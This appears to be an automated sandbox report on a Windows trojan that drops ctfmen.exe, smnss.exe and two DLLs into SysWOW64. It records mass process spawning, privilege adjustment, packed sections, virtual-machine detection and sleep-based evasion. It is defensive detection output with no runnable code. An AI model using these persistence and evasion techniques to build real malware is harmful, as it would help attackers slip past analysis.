Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\SysWOW64\smnss.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Code function: 0_2_00404DF4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,

0_2_00404DF4

Source: C:\Windows\SysWOW64\smnss.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto

Jump to behavior

Source: classification engine

Classification label: mal100.spre.troj.spyw.evad.winEXE@282/9@416/35

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Code function: 0_2_00404D3A CreateToolhelp32Snapshot,Process32First,strcmp,OpenProcess,TerminateProcess,Process32Next,

0_2_00404D3A

Source: C:\Windows\SysWOW64\smnss.exe	Mutant created: \Sessions\1\BaseNamedObjects\x_socks5aan
Source: C:\Windows\SysWOW64\smnss.exe	Mutant created: \Sessions\1\BaseNamedObjects\VULnaShvolna

Source: C:\Windows\SysWOW64\smnss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Windows\SysWOW64\ctfmen.exe

Unpacked PE file: 1.2.ctfmen.exe.400000.0.unpack 40i1uisr:EW;4g81zwiq:W;44d2yfna:W; vs 40i1uisr:ER;4g81zwiq:R;44d2yfna:W;

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Code function: 0_2_1000AAD4 push edi; iretd	0_2_1000AAD7
Source: C:\Windows\SysWOW64\ctfmen.exe	Code function: 1_2_0040734E push dword ptr [ecx+ebp-5Dh]; ret	1_2_00407355
Source: C:\Windows\SysWOW64\ctfmen.exe	Code function: 1_2_00408202 push edx; ret	1_2_0040820D

Source: ydbWyoxHsd.exe	Static PE information: section name: w3v2xlne
Source: ydbWyoxHsd.exe	Static PE information: section name: 33l5rbkz
Source: ydbWyoxHsd.exe	Static PE information: section name: 33zlgyyc
Source: ydbWyoxHsd.exe	Static PE information: section name:
Source: ctfmen.exe.0.dr	Static PE information: section name: 40i1uisr
Source: ctfmen.exe.0.dr	Static PE information: section name: 4g81zwiq
Source: ctfmen.exe.0.dr	Static PE information: section name: 44d2yfna
Source: shervans.dll.0.dr	Static PE information: section name: f619leop
Source: shervans.dll.0.dr	Static PE information: section name: 4438qdln
Source: shervans.dll.0.dr	Static PE information: section name: 449azbar
Source: grcopy.dll.0.dr	Static PE information: section name: d502pjly
Source: grcopy.dll.0.dr	Static PE information: section name: 4486vhtf
Source: grcopy.dll.0.dr	Static PE information: section name: 4579jgyi
Source: grcopy.dll.0.dr	Static PE information: section name:
Source: smnss.exe.0.dr	Static PE information: section name: d502pjly
Source: smnss.exe.0.dr	Static PE information: section name: 4486vhtf
Source: smnss.exe.0.dr	Static PE information: section name: 4579jgyi
Source: smnss.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Code function: 0_2_00406E1C LoadLibraryA,GetProcAddress,FreeLibrary,DeleteFileA,Sleep,

0_2_00406E1C

Source: initial sample

Static PE information: section where entry point is pointing to: 33l5rbkz

Source: initial sample

Static PE information: section name: 4438qdln entropy: 7.547400585476299

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Executable created and started: C:\Windows\SysWOW64\ctfmen.exe			Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Executable created and started: C:\Windows\SysWOW64\smnss.exe			Jump to behavior

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	File created: C:\Windows\SysWOW64\shervans.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	File created: C:\Windows\SysWOW64\ctfmen.exe	Jump to dropped file
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	File created: C:\Windows\SysWOW64\smnss.exe	Jump to dropped file
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	File created: C:\Windows\SysWOW64\grcopy.dll	Jump to dropped file

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	File created: C:\Windows\SysWOW64\shervans.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	File created: C:\Windows\SysWOW64\ctfmen.exe	Jump to dropped file
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	File created: C:\Windows\SysWOW64\smnss.exe	Jump to dropped file
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	File created: C:\Windows\SysWOW64\grcopy.dll	Jump to dropped file

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_0-4588

Contain functionality to detect virtual machines

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Code function: vmware qemu qemu vbox		0_2_00404990
Source: C:\Windows\SysWOW64\smnss.exe	Code function: vmware qemu qemu vbox		2_2_00404990

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Code function: 0_2_00406BEA

0_2_00406BEA

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe TID: 5236	Thread sleep time: -480000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe TID: 5556	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe TID: 5556	Thread sleep time: -448000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe TID: 3928	Thread sleep time: -84000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe TID: 3344	Thread sleep time: -6720000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe TID: 3344	Thread sleep time: -480000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\smnss.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Code function: 0_2_0040814C GetSystemTime followed by cmp: cmp ax, 0010h and CTI: jbe 00408174h	0_2_0040814C
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Code function: 0_2_0040814C GetSystemTime followed by cmp: cmp ax, 000bh and CTI: jbe 00408185h	0_2_0040814C
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Code function: 0_2_0040814C GetSystemTime followed by cmp: cmp ax, 001eh and CTI: jbe 00408196h	0_2_0040814C

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Thread delayed: delay time: 480000	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Thread delayed: delay time: 480000	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Thread delayed: delay time: 480000	Jump to behavior

Source: C:\Windows\SysWOW64\smnss.exe

Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum name: 0

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess

graph_0-4616

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Code function: 0_2_00406BEA

0_2_00406BEA

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Code function: 0_2_00403790 _mbscpy,memset,FindFirstFileA,FindNextFileA,lstrcpy,_mbscat,FindClose,

0_2_00403790

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Thread delayed: delay time: 480000	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Thread delayed: delay time: 480000	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Thread delayed: delay time: 480000	Jump to behavior

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	API call chain: ExitProcess graph end node			graph_0-4434
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	API call chain: ExitProcess graph end node			graph_0-4527

Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\adobe.acrobatreaderdc.protectedmode\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\adobe.acrobatreaderdc.protectedmode\AC\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\AC\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\ActiveSync\LocalState\	Jump to behavior

Source: smnss.exe, 0000001B.00000002.362726456.0000000000997000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll88~
Source: smnss.exe, 00000027.00000002.386901160.0000000000401000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: vmware
